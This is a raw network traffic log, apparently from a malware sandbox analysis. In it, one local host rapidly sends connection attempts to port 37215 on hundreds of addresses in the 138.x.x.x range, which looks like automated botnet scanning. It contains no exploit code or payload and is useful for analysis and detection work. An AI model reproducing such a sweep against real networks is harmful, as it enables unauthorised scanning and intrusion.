Feb 20, 2022 15:50:58.711864948 CET	1386	37215	192.168.2.23	138.228.154.5
Feb 20, 2022 15:50:58.711880922 CET	1898	37215	192.168.2.23	138.16.82.1
Feb 20, 2022 15:50:58.711885929 CET	1898	37215	192.168.2.23	138.229.182.199
Feb 20, 2022 15:50:58.711905003 CET	1898	37215	192.168.2.23	138.28.204.234
Feb 20, 2022 15:50:58.711910009 CET	1386	37215	192.168.2.23	138.203.118.255
Feb 20, 2022 15:50:58.711941004 CET	1898	37215	192.168.2.23	138.79.216.149
Feb 20, 2022 15:50:58.711962938 CET	1386	37215	192.168.2.23	138.174.129.29
Feb 20, 2022 15:50:58.711973906 CET	1898	37215	192.168.2.23	138.139.112.136
Feb 20, 2022 15:50:58.711987019 CET	1898	37215	192.168.2.23	138.4.104.30
Feb 20, 2022 15:50:58.712032080 CET	1898	37215	192.168.2.23	138.31.119.140
Feb 20, 2022 15:50:58.712054968 CET	1386	37215	192.168.2.23	138.85.149.136
Feb 20, 2022 15:50:58.712055922 CET	1898	37215	192.168.2.23	138.241.155.94
Feb 20, 2022 15:50:58.712073088 CET	1898	37215	192.168.2.23	138.237.10.107
Feb 20, 2022 15:50:58.712080956 CET	1386	37215	192.168.2.23	138.147.21.17
Feb 20, 2022 15:50:58.712104082 CET	1898	37215	192.168.2.23	138.80.144.165
Feb 20, 2022 15:50:58.712120056 CET	1898	37215	192.168.2.23	138.251.156.75
Feb 20, 2022 15:50:58.712141991 CET	1898	37215	192.168.2.23	138.16.235.127
Feb 20, 2022 15:50:58.712167025 CET	1898	37215	192.168.2.23	138.122.181.174
Feb 20, 2022 15:50:58.712169886 CET	1386	37215	192.168.2.23	138.176.44.95
Feb 20, 2022 15:50:58.712177992 CET	1386	37215	192.168.2.23	138.94.235.125
Feb 20, 2022 15:50:58.712187052 CET	1898	37215	192.168.2.23	138.61.133.29
Feb 20, 2022 15:50:58.712210894 CET	1386	37215	192.168.2.23	138.132.183.148
Feb 20, 2022 15:50:58.712214947 CET	1898	37215	192.168.2.23	138.42.57.212
Feb 20, 2022 15:50:58.712234974 CET	1386	37215	192.168.2.23	138.15.108.134
Feb 20, 2022 15:50:58.712254047 CET	1898	37215	192.168.2.23	138.134.147.168
Feb 20, 2022 15:50:58.712266922 CET	1898	37215	192.168.2.23	138.127.28.144
Feb 20, 2022 15:50:58.712289095 CET	1898	37215	192.168.2.23	138.96.38.79
Feb 20, 2022 15:50:58.712291956 CET	1386	37215	192.168.2.23	138.166.12.121
Feb 20, 2022 15:50:58.712313890 CET	1898	37215	192.168.2.23	138.228.185.231
Feb 20, 2022 15:50:58.712338924 CET	1386	37215	192.168.2.23	138.14.9.234
Feb 20, 2022 15:50:58.712342024 CET	1898	37215	192.168.2.23	138.180.116.78
Feb 20, 2022 15:50:58.712347984 CET	1386	37215	192.168.2.23	138.228.43.50
Feb 20, 2022 15:50:58.712377071 CET	1898	37215	192.168.2.23	138.55.35.159
Feb 20, 2022 15:50:58.712393045 CET	1386	37215	192.168.2.23	138.124.187.122
Feb 20, 2022 15:50:58.712393045 CET	1898	37215	192.168.2.23	138.50.150.15
Feb 20, 2022 15:50:58.712418079 CET	1898	37215	192.168.2.23	138.0.220.168
Feb 20, 2022 15:50:58.712440968 CET	1386	37215	192.168.2.23	138.36.184.72
Feb 20, 2022 15:50:58.712443113 CET	1898	37215	192.168.2.23	138.160.146.167
Feb 20, 2022 15:50:58.712469101 CET	1898	37215	192.168.2.23	138.35.107.200
Feb 20, 2022 15:50:58.712493896 CET	1386	37215	192.168.2.23	138.233.186.32
Feb 20, 2022 15:50:58.712496042 CET	1898	37215	192.168.2.23	138.179.84.161
Feb 20, 2022 15:50:58.712512016 CET	1898	37215	192.168.2.23	138.119.206.68
Feb 20, 2022 15:50:58.712538958 CET	1898	37215	192.168.2.23	138.21.91.101
Feb 20, 2022 15:50:58.712568998 CET	1898	37215	192.168.2.23	138.251.110.210
Feb 20, 2022 15:50:58.712573051 CET	1386	37215	192.168.2.23	138.207.28.105
Feb 20, 2022 15:50:58.712585926 CET	1386	37215	192.168.2.23	138.50.44.35
Feb 20, 2022 15:50:58.712593079 CET	1386	37215	192.168.2.23	138.135.184.27
Feb 20, 2022 15:50:58.712622881 CET	1898	37215	192.168.2.23	138.241.125.175
Feb 20, 2022 15:50:58.712631941 CET	1898	37215	192.168.2.23	138.228.45.180
Feb 20, 2022 15:50:58.712637901 CET	1386	37215	192.168.2.23	138.248.233.199
Feb 20, 2022 15:50:58.712641954 CET	1898	37215	192.168.2.23	138.234.139.113
Feb 20, 2022 15:50:58.712661028 CET	1898	37215	192.168.2.23	138.18.217.104
Feb 20, 2022 15:50:58.712692022 CET	1386	37215	192.168.2.23	138.97.90.61
Feb 20, 2022 15:50:58.712713957 CET	1898	37215	192.168.2.23	138.233.212.250
Feb 20, 2022 15:50:58.712733984 CET	1898	37215	192.168.2.23	138.42.18.177
Feb 20, 2022 15:50:58.712733984 CET	1386	37215	192.168.2.23	138.104.38.145
Feb 20, 2022 15:50:58.712743998 CET	1898	37215	192.168.2.23	138.185.54.78
Feb 20, 2022 15:50:58.712775946 CET	1386	37215	192.168.2.23	138.224.128.133
Feb 20, 2022 15:50:58.712790012 CET	1898	37215	192.168.2.23	138.16.247.136
Feb 20, 2022 15:50:58.712800980 CET	1898	37215	192.168.2.23	138.49.9.171
Feb 20, 2022 15:50:58.712811947 CET	1898	37215	192.168.2.23	138.182.36.218
Feb 20, 2022 15:50:58.712845087 CET	1898	37215	192.168.2.23	138.121.93.39
Feb 20, 2022 15:50:58.712847948 CET	1386	37215	192.168.2.23	138.51.50.45
Feb 20, 2022 15:50:58.712851048 CET	1386	37215	192.168.2.23	138.123.177.57
Feb 20, 2022 15:50:58.712865114 CET	1386	37215	192.168.2.23	138.22.28.141
Feb 20, 2022 15:50:58.712872028 CET	1898	37215	192.168.2.23	138.104.67.44
Feb 20, 2022 15:50:58.712893009 CET	1898	37215	192.168.2.23	138.67.155.193
Feb 20, 2022 15:50:58.712915897 CET	1386	37215	192.168.2.23	138.221.231.61
Feb 20, 2022 15:50:58.712943077 CET	1898	37215	192.168.2.23	138.131.164.106
Feb 20, 2022 15:50:58.712956905 CET	1898	37215	192.168.2.23	138.123.16.64
Feb 20, 2022 15:50:58.712965012 CET	1386	37215	192.168.2.23	138.168.122.88
Feb 20, 2022 15:50:58.712990999 CET	1898	37215	192.168.2.23	138.139.40.225
Feb 20, 2022 15:50:58.713011026 CET	1898	37215	192.168.2.23	138.174.30.14
Feb 20, 2022 15:50:58.713015079 CET	1386	37215	192.168.2.23	138.26.172.92
Feb 20, 2022 15:50:58.713042021 CET	1898	37215	192.168.2.23	138.221.35.75
Feb 20, 2022 15:50:58.713052034 CET	1898	37215	192.168.2.23	138.117.178.177
Feb 20, 2022 15:50:58.713054895 CET	1386	37215	192.168.2.23	138.145.168.58
Feb 20, 2022 15:50:58.713066101 CET	1898	37215	192.168.2.23	138.32.180.101
Feb 20, 2022 15:50:58.713093042 CET	1898	37215	192.168.2.23	138.61.65.27
Feb 20, 2022 15:50:58.713098049 CET	1386	37215	192.168.2.23	138.225.8.112
Feb 20, 2022 15:50:58.713138103 CET	1898	37215	192.168.2.23	138.55.39.77
Feb 20, 2022 15:50:58.713140965 CET	1898	37215	192.168.2.23	138.82.100.210
Feb 20, 2022 15:50:58.713150024 CET	1386	37215	192.168.2.23	138.188.44.92
Feb 20, 2022 15:50:58.713162899 CET	1898	37215	192.168.2.23	138.111.96.2
Feb 20, 2022 15:50:58.713181973 CET	1386	37215	192.168.2.23	138.102.175.115
Feb 20, 2022 15:50:58.713191032 CET	1898	37215	192.168.2.23	138.251.43.229
Feb 20, 2022 15:50:58.713217974 CET	1898	37215	192.168.2.23	138.65.58.28
Feb 20, 2022 15:50:58.713251114 CET	1898	37215	192.168.2.23	138.172.232.51
Feb 20, 2022 15:50:58.713258028 CET	1386	37215	192.168.2.23	138.215.96.127
Feb 20, 2022 15:50:58.713263035 CET	1386	37215	192.168.2.23	138.225.212.212
Feb 20, 2022 15:50:58.713289976 CET	1898	37215	192.168.2.23	138.27.221.221
Feb 20, 2022 15:50:58.713308096 CET	1386	37215	192.168.2.23	138.255.111.233
Feb 20, 2022 15:50:58.713316917 CET	1898	37215	192.168.2.23	138.202.40.8
Feb 20, 2022 15:50:58.713336945 CET	1898	37215	192.168.2.23	138.218.112.26
Feb 20, 2022 15:50:58.713346958 CET	1386	37215	192.168.2.23	138.214.115.114
Feb 20, 2022 15:50:58.713371992 CET	1898	37215	192.168.2.23	138.221.18.189
Feb 20, 2022 15:50:58.713392019 CET	1386	37215	192.168.2.23	138.200.163.73
Feb 20, 2022 15:50:58.713402987 CET	1898	37215	192.168.2.23	138.188.200.0
Feb 20, 2022 15:50:58.713421106 CET	1898	37215	192.168.2.23	138.40.160.250
Feb 20, 2022 15:50:58.713438034 CET	1386	37215	192.168.2.23	138.107.134.58
Feb 20, 2022 15:50:58.713462114 CET	1898	37215	192.168.2.23	138.51.233.166
Feb 20, 2022 15:50:58.713481903 CET	1386	37215	192.168.2.23	138.230.66.129
Feb 20, 2022 15:50:58.713486910 CET	1898	37215	192.168.2.23	138.130.181.37
Feb 20, 2022 15:50:58.713510990 CET	1898	37215	192.168.2.23	138.71.183.18
Feb 20, 2022 15:50:58.713524103 CET	1386	37215	192.168.2.23	138.132.129.36
Feb 20, 2022 15:50:58.713537931 CET	1898	37215	192.168.2.23	138.221.150.7
Feb 20, 2022 15:50:58.713562012 CET	1898	37215	192.168.2.23	138.70.121.8
Feb 20, 2022 15:50:58.713582039 CET	1898	37215	192.168.2.23	138.86.207.251
Feb 20, 2022 15:50:58.713582039 CET	1386	37215	192.168.2.23	138.5.139.226
Feb 20, 2022 15:50:58.713612080 CET	1898	37215	192.168.2.23	138.29.92.85
Feb 20, 2022 15:50:58.713617086 CET	1386	37215	192.168.2.23	138.243.174.90
Feb 20, 2022 15:50:58.713639021 CET	1898	37215	192.168.2.23	138.241.11.165
Feb 20, 2022 15:50:58.713660002 CET	1898	37215	192.168.2.23	138.85.119.5
Feb 20, 2022 15:50:58.713676929 CET	37215	1898	138.201.146.164	192.168.2.23
Feb 20, 2022 15:50:58.713679075 CET	1386	37215	192.168.2.23	138.1.171.238
Feb 20, 2022 15:50:58.713680983 CET	1898	37215	192.168.2.23	138.151.23.91
Feb 20, 2022 15:50:58.713692904 CET	1898	37215	192.168.2.23	138.116.22.222
Feb 20, 2022 15:50:58.713710070 CET	1386	37215	192.168.2.23	138.239.157.148
Feb 20, 2022 15:50:58.713731050 CET	1898	37215	192.168.2.23	138.189.104.245
Feb 20, 2022 15:50:58.713746071 CET	1898	37215	192.168.2.23	138.132.64.96
Feb 20, 2022 15:50:58.713768005 CET	1898	37215	192.168.2.23	138.166.248.218
Feb 20, 2022 15:50:58.713777065 CET	1386	37215	192.168.2.23	138.128.215.221
Feb 20, 2022 15:50:58.713792086 CET	1898	37215	192.168.2.23	138.134.142.109
Feb 20, 2022 15:50:58.713810921 CET	1386	37215	192.168.2.23	138.233.105.17
Feb 20, 2022 15:50:58.713818073 CET	1898	37215	192.168.2.23	138.29.200.101
Feb 20, 2022 15:50:58.713840961 CET	1898	37215	192.168.2.23	138.108.34.56
Feb 20, 2022 15:50:58.713865995 CET	1898	37215	192.168.2.23	138.227.158.146
Feb 20, 2022 15:50:58.713888884 CET	1386	37215	192.168.2.23	138.216.220.61
Feb 20, 2022 15:50:58.713893890 CET	1898	37215	192.168.2.23	138.18.188.140
Feb 20, 2022 15:50:58.713917017 CET	1386	37215	192.168.2.23	138.253.244.165
Feb 20, 2022 15:50:58.713927984 CET	1898	37215	192.168.2.23	138.39.42.185
Feb 20, 2022 15:50:58.713931084 CET	1386	37215	192.168.2.23	138.131.241.107
Feb 20, 2022 15:50:58.713943005 CET	1898	37215	192.168.2.23	138.62.53.244
Feb 20, 2022 15:50:58.713970900 CET	1386	37215	192.168.2.23	138.85.82.221
Feb 20, 2022 15:50:58.713972092 CET	1898	37215	192.168.2.23	138.163.219.187
Feb 20, 2022 15:50:58.713989973 CET	1898	37215	192.168.2.23	138.72.94.222
Feb 20, 2022 15:50:58.714008093 CET	1386	37215	192.168.2.23	138.39.230.57
Feb 20, 2022 15:50:58.714016914 CET	1898	37215	192.168.2.23	138.68.103.199
Feb 20, 2022 15:50:58.714046955 CET	1898	37215	192.168.2.23	138.70.127.80
Feb 20, 2022 15:50:58.714070082 CET	1898	37215	192.168.2.23	138.225.243.1
Feb 20, 2022 15:50:58.714091063 CET	1386	37215	192.168.2.23	138.131.205.105
Feb 20, 2022 15:50:58.714097023 CET	1898	37215	192.168.2.23	138.88.113.169
Feb 20, 2022 15:50:58.714103937 CET	1386	37215	192.168.2.23	138.147.93.251
Feb 20, 2022 15:50:58.714135885 CET	1898	37215	192.168.2.23	138.116.0.150
Feb 20, 2022 15:50:58.714138031 CET	1386	37215	192.168.2.23	138.15.148.155
Feb 20, 2022 15:50:58.714152098 CET	1898	37215	192.168.2.23	138.126.46.15
Feb 20, 2022 15:50:58.714171886 CET	1898	37215	192.168.2.23	138.142.98.132
Feb 20, 2022 15:50:58.714193106 CET	1898	37215	192.168.2.23	138.237.34.42
Feb 20, 2022 15:50:58.714221001 CET	1386	37215	192.168.2.23	138.192.250.176
Feb 20, 2022 15:50:58.714226007 CET	1386	37215	192.168.2.23	138.136.85.31
Feb 20, 2022 15:50:58.714226961 CET	1898	37215	192.168.2.23	138.103.222.47
Feb 20, 2022 15:50:58.714247942 CET	1898	37215	192.168.2.23	138.79.64.73
Feb 20, 2022 15:50:58.714283943 CET	1898	37215	192.168.2.23	138.35.221.208
Feb 20, 2022 15:50:58.714296103 CET	1386	37215	192.168.2.23	138.137.131.181
Feb 20, 2022 15:50:58.714322090 CET	1386	37215	192.168.2.23	138.104.131.42
Feb 20, 2022 15:50:58.714330912 CET	1386	37215	192.168.2.23	138.167.23.55
Feb 20, 2022 15:50:58.714344978 CET	1898	37215	192.168.2.23	138.188.20.112
Feb 20, 2022 15:50:58.714349031 CET	1898	37215	192.168.2.23	138.190.128.171
Feb 20, 2022 15:50:58.714353085 CET	1898	37215	192.168.2.23	138.225.161.70
Feb 20, 2022 15:50:58.714375973 CET	1386	37215	192.168.2.23	138.9.137.186
Feb 20, 2022 15:50:58.714376926 CET	1898	37215	192.168.2.23	138.48.218.97
Feb 20, 2022 15:50:58.714399099 CET	1898	37215	192.168.2.23	138.95.84.32
Feb 20, 2022 15:50:58.714413881 CET	1898	37215	192.168.2.23	138.247.27.204
Feb 20, 2022 15:50:58.714421988 CET	1386	37215	192.168.2.23	138.186.2.12
Feb 20, 2022 15:50:58.714447975 CET	1898	37215	192.168.2.23	138.115.166.137
Feb 20, 2022 15:50:58.714458942 CET	1386	37215	192.168.2.23	138.47.156.174
Feb 20, 2022 15:50:58.714468956 CET	1898	37215	192.168.2.23	138.173.66.120
Feb 20, 2022 15:50:58.714495897 CET	1386	37215	192.168.2.23	138.87.92.1
Feb 20, 2022 15:50:58.714503050 CET	1898	37215	192.168.2.23	138.171.200.191
Feb 20, 2022 15:50:58.714534044 CET	1898	37215	192.168.2.23	138.239.101.24
Feb 20, 2022 15:50:58.714540005 CET	1386	37215	192.168.2.23	138.105.223.91
Feb 20, 2022 15:50:58.714557886 CET	1898	37215	192.168.2.23	138.175.215.187
Feb 20, 2022 15:50:58.714581966 CET	1386	37215	192.168.2.23	138.222.75.7
Feb 20, 2022 15:50:58.714584112 CET	1898	37215	192.168.2.23	138.94.73.217
Feb 20, 2022 15:50:58.714602947 CET	1898	37215	192.168.2.23	138.75.212.87
Feb 20, 2022 15:50:58.714621067 CET	1386	37215	192.168.2.23	138.242.60.11
Feb 20, 2022 15:50:58.714623928 CET	1898	37215	192.168.2.23	138.240.167.54
Feb 20, 2022 15:50:58.714656115 CET	1898	37215	192.168.2.23	138.26.84.114
Feb 20, 2022 15:50:58.714670897 CET	1386	37215	192.168.2.23	138.244.219.229
Feb 20, 2022 15:50:58.714680910 CET	1898	37215	192.168.2.23	138.52.165.191
Feb 20, 2022 15:50:58.714699984 CET	1386	37215	192.168.2.23	138.41.43.253
Feb 20, 2022 15:50:58.714708090 CET	1898	37215	192.168.2.23	138.107.90.165
Feb 20, 2022 15:50:58.714729071 CET	1898	37215	192.168.2.23	138.133.130.199
Feb 20, 2022 15:50:58.714752913 CET	1898	37215	192.168.2.23	138.37.117.154
Feb 20, 2022 15:50:58.714761972 CET	1386	37215	192.168.2.23	138.202.81.144
Feb 20, 2022 15:50:58.714768887 CET	1898	37215	192.168.2.23	138.223.113.180
Feb 20, 2022 15:50:58.714793921 CET	1386	37215	192.168.2.23	138.205.25.114
Feb 20, 2022 15:50:58.714798927 CET	1898	37215	192.168.2.23	138.50.55.111
Feb 20, 2022 15:50:58.714817047 CET	1898	37215	192.168.2.23	138.80.15.114
Feb 20, 2022 15:50:58.714838982 CET	1898	37215	192.168.2.23	138.181.188.53
Feb 20, 2022 15:50:58.714868069 CET	1386	37215	192.168.2.23	138.65.59.115
Feb 20, 2022 15:50:58.714869976 CET	1898	37215	192.168.2.23	138.195.145.164
Feb 20, 2022 15:50:58.714884996 CET	1898	37215	192.168.2.23	138.21.176.211
Feb 20, 2022 15:50:58.714915037 CET	1386	37215	192.168.2.23	138.91.105.0
Feb 20, 2022 15:50:58.714939117 CET	1386	37215	192.168.2.23	138.228.165.204
Feb 20, 2022 15:50:58.714941025 CET	1898	37215	192.168.2.23	138.32.40.10
Feb 20, 2022 15:50:58.714957952 CET	1898	37215	192.168.2.23	138.0.7.51
Feb 20, 2022 15:50:58.714963913 CET	1898	37215	192.168.2.23	138.184.215.192
Feb 20, 2022 15:50:58.714983940 CET	1898	37215	192.168.2.23	138.186.246.62
Feb 20, 2022 15:50:58.714996099 CET	1386	37215	192.168.2.23	138.158.35.251
Feb 20, 2022 15:50:58.715010881 CET	1898	37215	192.168.2.23	138.235.135.20
Feb 20, 2022 15:50:58.715017080 CET	1386	37215	192.168.2.23	138.184.248.159
Feb 20, 2022 15:50:58.715029001 CET	1898	37215	192.168.2.23	138.38.131.80
Feb 20, 2022 15:50:58.715046883 CET	1386	37215	192.168.2.23	138.255.25.125
Feb 20, 2022 15:50:58.715049028 CET	1898	37215	192.168.2.23	138.145.3.35
Feb 20, 2022 15:50:58.715073109 CET	1898	37215	192.168.2.23	138.107.119.199
Feb 20, 2022 15:50:58.715086937 CET	1898	37215	192.168.2.23	138.191.166.73
Feb 20, 2022 15:50:58.715096951 CET	1386	37215	192.168.2.23	138.145.112.203
Feb 20, 2022 15:50:58.715116024 CET	1898	37215	192.168.2.23	138.85.38.195
Feb 20, 2022 15:50:58.715141058 CET	1386	37215	192.168.2.23	138.248.55.189
Feb 20, 2022 15:50:58.715142965 CET	1898	37215	192.168.2.23	138.246.175.121
Feb 20, 2022 15:50:58.715157986 CET	1898	37215	192.168.2.23	138.122.198.165
Feb 20, 2022 15:50:58.715176105 CET	1386	37215	192.168.2.23	138.88.143.231
Feb 20, 2022 15:50:58.715195894 CET	1898	37215	192.168.2.23	138.195.199.193
Feb 20, 2022 15:50:58.715213060 CET	1386	37215	192.168.2.23	138.65.206.253
Feb 20, 2022 15:50:58.715224981 CET	1898	37215	192.168.2.23	138.242.121.220
Feb 20, 2022 15:50:58.715246916 CET	1898	37215	192.168.2.23	138.224.225.9
Feb 20, 2022 15:50:58.715264082 CET	1386	37215	192.168.2.23	138.233.169.51
Feb 20, 2022 15:50:58.715282917 CET	1898	37215	192.168.2.23	138.38.157.174
Feb 20, 2022 15:50:58.715290070 CET	1898	37215	192.168.2.23	138.243.18.113
Feb 20, 2022 15:50:58.715307951 CET	1898	37215	192.168.2.23	138.174.201.155
Feb 20, 2022 15:50:58.715323925 CET	1386	37215	192.168.2.23	138.97.54.136
Feb 20, 2022 15:50:58.715332985 CET	1898	37215	192.168.2.23	138.198.40.182
Feb 20, 2022 15:50:58.715353966 CET	1898	37215	192.168.2.23	138.45.212.185
Feb 20, 2022 15:50:58.715363026 CET	1386	37215	192.168.2.23	138.40.125.190
Feb 20, 2022 15:50:58.715398073 CET	1898	37215	192.168.2.23	138.111.98.40
Feb 20, 2022 15:50:58.715414047 CET	1898	37215	192.168.2.23	138.7.113.151
Feb 20, 2022 15:50:58.715418100 CET	1386	37215	192.168.2.23	138.168.138.97
Feb 20, 2022 15:50:58.715439081 CET	1898	37215	192.168.2.23	138.129.193.13
Feb 20, 2022 15:50:58.715465069 CET	1898	37215	192.168.2.23	138.47.223.1
Feb 20, 2022 15:50:58.715477943 CET	1898	37215	192.168.2.23	138.82.83.29
Feb 20, 2022 15:50:58.715487957 CET	1386	37215	192.168.2.23	138.26.70.255
Feb 20, 2022 15:50:58.715497017 CET	1386	37215	192.168.2.23	138.116.51.244
Feb 20, 2022 15:50:58.715508938 CET	1898	37215	192.168.2.23	138.183.6.154
Feb 20, 2022 15:50:58.715514898 CET	1386	37215	192.168.2.23	138.111.31.242
Feb 20, 2022 15:50:58.715527058 CET	1898	37215	192.168.2.23	138.211.149.238
Feb 20, 2022 15:50:58.715554953 CET	1386	37215	192.168.2.23	138.189.243.43
Feb 20, 2022 15:50:58.715564013 CET	1898	37215	192.168.2.23	138.29.45.233
Feb 20, 2022 15:50:58.715579033 CET	1898	37215	192.168.2.23	138.72.169.120
Feb 20, 2022 15:50:58.715604067 CET	1386	37215	192.168.2.23	138.187.180.48
Feb 20, 2022 15:50:58.715610027 CET	1898	37215	192.168.2.23	138.202.20.82
Feb 20, 2022 15:50:58.715641022 CET	1898	37215	192.168.2.23	138.214.57.65
Feb 20, 2022 15:50:58.715646029 CET	1386	37215	192.168.2.23	138.89.191.153
Feb 20, 2022 15:50:58.715673923 CET	1898	37215	192.168.2.23	138.212.201.195
Feb 20, 2022 15:50:58.715698004 CET	1386	37215	192.168.2.23	138.223.82.192
Feb 20, 2022 15:50:58.715718031 CET	1898	37215	192.168.2.23	138.116.196.45
Feb 20, 2022 15:50:58.715719938 CET	1898	37215	192.168.2.23	138.25.69.126
Feb 20, 2022 15:50:58.715734005 CET	1898	37215	192.168.2.23	138.105.226.196
Feb 20, 2022 15:50:58.715753078 CET	1386	37215	192.168.2.23	138.10.62.53
Feb 20, 2022 15:50:58.715759039 CET	1898	37215	192.168.2.23	138.22.179.86
Feb 20, 2022 15:50:58.715775967 CET	1898	37215	192.168.2.23	138.34.14.47
Feb 20, 2022 15:50:58.715792894 CET	1386	37215	192.168.2.23	138.168.244.113
Feb 20, 2022 15:50:58.715811968 CET	1898	37215	192.168.2.23	138.106.127.170
Feb 20, 2022 15:50:58.715842009 CET	1386	37215	192.168.2.23	138.122.6.149
Feb 20, 2022 15:50:58.715857029 CET	1898	37215	192.168.2.23	138.21.63.58
Feb 20, 2022 15:50:58.715857029 CET	1898	37215	192.168.2.23	138.53.24.186
Feb 20, 2022 15:50:58.715879917 CET	1386	37215	192.168.2.23	138.191.6.29
Feb 20, 2022 15:50:58.715895891 CET	1898	37215	192.168.2.23	138.5.101.92
Feb 20, 2022 15:50:58.715924978 CET	1898	37215	192.168.2.23	138.80.184.192
Feb 20, 2022 15:50:58.715928078 CET	1386	37215	192.168.2.23	138.229.3.147
Feb 20, 2022 15:50:58.715936899 CET	1898	37215	192.168.2.23	138.38.90.223
Feb 20, 2022 15:50:58.715956926 CET	1386	37215	192.168.2.23	138.185.219.109
Feb 20, 2022 15:50:58.715959072 CET	1898	37215	192.168.2.23	138.137.115.150
Feb 20, 2022 15:50:58.715989113 CET	1898	37215	192.168.2.23	138.65.95.49
Feb 20, 2022 15:50:58.716005087 CET	1386	37215	192.168.2.23	138.161.94.111
Feb 20, 2022 15:50:58.716020107 CET	1898	37215	192.168.2.23	138.43.98.207
Feb 20, 2022 15:50:58.716028929 CET	1898	37215	192.168.2.23	138.86.52.251
Feb 20, 2022 15:50:58.716057062 CET	1386	37215	192.168.2.23	138.140.26.250
Feb 20, 2022 15:50:58.716064930 CET	1898	37215	192.168.2.23	138.179.147.64
Feb 20, 2022 15:50:58.716084957 CET	1898	37215	192.168.2.23	138.57.38.65
Feb 20, 2022 15:50:58.716100931 CET	1386	37215	192.168.2.23	138.148.219.100
Feb 20, 2022 15:50:58.716105938 CET	1898	37215	192.168.2.23	138.226.107.185
Feb 20, 2022 15:50:58.716124058 CET	1898	37215	192.168.2.23	138.38.139.28
Feb 20, 2022 15:50:58.716145992 CET	1386	37215	192.168.2.23	138.246.138.212
Feb 20, 2022 15:50:58.716152906 CET	1898	37215	192.168.2.23	138.199.84.103
Feb 20, 2022 15:50:58.716171980 CET	1898	37215	192.168.2.23	138.160.217.215
Feb 20, 2022 15:50:58.716187000 CET	1386	37215	192.168.2.23	138.150.184.62
Feb 20, 2022 15:50:58.716197968 CET	1898	37215	192.168.2.23	138.54.0.208
Feb 20, 2022 15:50:58.716212034 CET	1898	37215	192.168.2.23	138.41.116.113
Feb 20, 2022 15:50:58.716238976 CET	1386	37215	192.168.2.23	138.232.171.131
Feb 20, 2022 15:50:58.716240883 CET	1898	37215	192.168.2.23	138.214.58.246
Feb 20, 2022 15:50:58.716268063 CET	1898	37215	192.168.2.23	138.86.94.204
Feb 20, 2022 15:50:58.716274977 CET	1386	37215	192.168.2.23	138.208.245.9
Feb 20, 2022 15:50:58.716301918 CET	1898	37215	192.168.2.23	138.91.180.30
Feb 20, 2022 15:50:58.716315985 CET	1386	37215	192.168.2.23	138.69.102.113
Feb 20, 2022 15:50:58.716322899 CET	1898	37215	192.168.2.23	138.210.29.129
Feb 20, 2022 15:50:58.716342926 CET	1386	37215	192.168.2.23	138.162.125.36
Feb 20, 2022 15:50:58.716363907 CET	1898	37215	192.168.2.23	138.84.157.237
Feb 20, 2022 15:50:58.716373920 CET	1898	37215	192.168.2.23	138.24.11.122
Feb 20, 2022 15:50:58.716389894 CET	1898	37215	192.168.2.23	138.191.77.113
Feb 20, 2022 15:50:58.716399908 CET	1386	37215	192.168.2.23	138.59.220.94
Feb 20, 2022 15:50:58.716422081 CET	1898	37215	192.168.2.23	138.181.249.33
Feb 20, 2022 15:50:58.716438055 CET	1386	37215	192.168.2.23	138.240.17.90
Feb 20, 2022 15:50:58.716445923 CET	1898	37215	192.168.2.23	138.1.171.233
Feb 20, 2022 15:50:58.716479063 CET	1386	37215	192.168.2.23	138.113.112.88
Feb 20, 2022 15:50:58.716480017 CET	1898	37215	192.168.2.23	138.72.117.173
Feb 20, 2022 15:50:58.716507912 CET	1898	37215	192.168.2.23	138.152.40.208
Feb 20, 2022 15:50:58.716523886 CET	1386	37215	192.168.2.23	138.73.85.191
Feb 20, 2022 15:50:58.716532946 CET	1898	37215	192.168.2.23	138.214.50.200
Feb 20, 2022 15:50:58.716567039 CET	1386	37215	192.168.2.23	138.224.214.241
Feb 20, 2022 15:50:58.716572046 CET	1898	37215	192.168.2.23	138.18.117.195
Feb 20, 2022 15:50:58.716586113 CET	1898	37215	192.168.2.23	138.21.54.122
Feb 20, 2022 15:50:58.716599941 CET	1386	37215	192.168.2.23	138.15.1.41
Feb 20, 2022 15:50:58.716615915 CET	1898	37215	192.168.2.23	138.24.238.30
Feb 20, 2022 15:50:58.716653109 CET	1386	37215	192.168.2.23	138.138.196.205
Feb 20, 2022 15:50:58.716659069 CET	1898	37215	192.168.2.23	138.95.76.189
Feb 20, 2022 15:50:58.716679096 CET	1898	37215	192.168.2.23	138.5.211.191
Feb 20, 2022 15:50:58.716700077 CET	1898	37215	192.168.2.23	138.110.70.226
Feb 20, 2022 15:50:58.716701984 CET	1386	37215	192.168.2.23	138.55.197.172
Feb 20, 2022 15:50:58.716734886 CET	1898	37215	192.168.2.23	138.10.72.189
Feb 20, 2022 15:50:58.716737986 CET	1386	37215	192.168.2.23	138.245.46.119
Feb 20, 2022 15:50:58.716751099 CET	1898	37215	192.168.2.23	138.42.68.39
Feb 20, 2022 15:50:58.716764927 CET	1898	37215	192.168.2.23	138.199.178.238
Feb 20, 2022 15:50:58.716785908 CET	1386	37215	192.168.2.23	138.37.41.171
Feb 20, 2022 15:50:58.716792107 CET	1898	37215	192.168.2.23	138.190.11.37
Feb 20, 2022 15:50:58.716818094 CET	1898	37215	192.168.2.23	138.205.248.224
Feb 20, 2022 15:50:58.716819048 CET	1386	37215	192.168.2.23	138.13.191.152
Feb 20, 2022 15:50:58.716836929 CET	1898	37215	192.168.2.23	138.114.111.103
Feb 20, 2022 15:50:58.716871023 CET	1386	37215	192.168.2.23	138.142.191.232
Feb 20, 2022 15:50:58.716876030 CET	1898	37215	192.168.2.23	138.20.129.152
Feb 20, 2022 15:50:58.716896057 CET	1898	37215	192.168.2.23	138.194.146.204
Feb 20, 2022 15:50:58.716917038 CET	1386	37215	192.168.2.23	138.241.77.223
Feb 20, 2022 15:50:58.716917992 CET	1898	37215	192.168.2.23	138.54.224.88
Feb 20, 2022 15:50:58.716943979 CET	1898	37215	192.168.2.23	138.2.184.72
Feb 20, 2022 15:50:58.716959000 CET	1386	37215	192.168.2.23	138.95.126.10
Feb 20, 2022 15:50:58.716968060 CET	1898	37215	192.168.2.23	138.10.48.92
Feb 20, 2022 15:50:58.717001915 CET	1386	37215	192.168.2.23	138.245.184.246
Feb 20, 2022 15:50:58.717014074 CET	1898	37215	192.168.2.23	138.202.164.248
Feb 20, 2022 15:50:58.717024088 CET	1898	37215	192.168.2.23	138.28.11.246
Feb 20, 2022 15:50:58.717032909 CET	1898	37215	192.168.2.23	138.56.70.97
Feb 20, 2022 15:50:58.717040062 CET	1386	37215	192.168.2.23	138.151.191.7
Feb 20, 2022 15:50:58.717068911 CET	1898	37215	192.168.2.23	138.82.255.111
Feb 20, 2022 15:50:58.717089891 CET	1386	37215	192.168.2.23	138.73.242.45
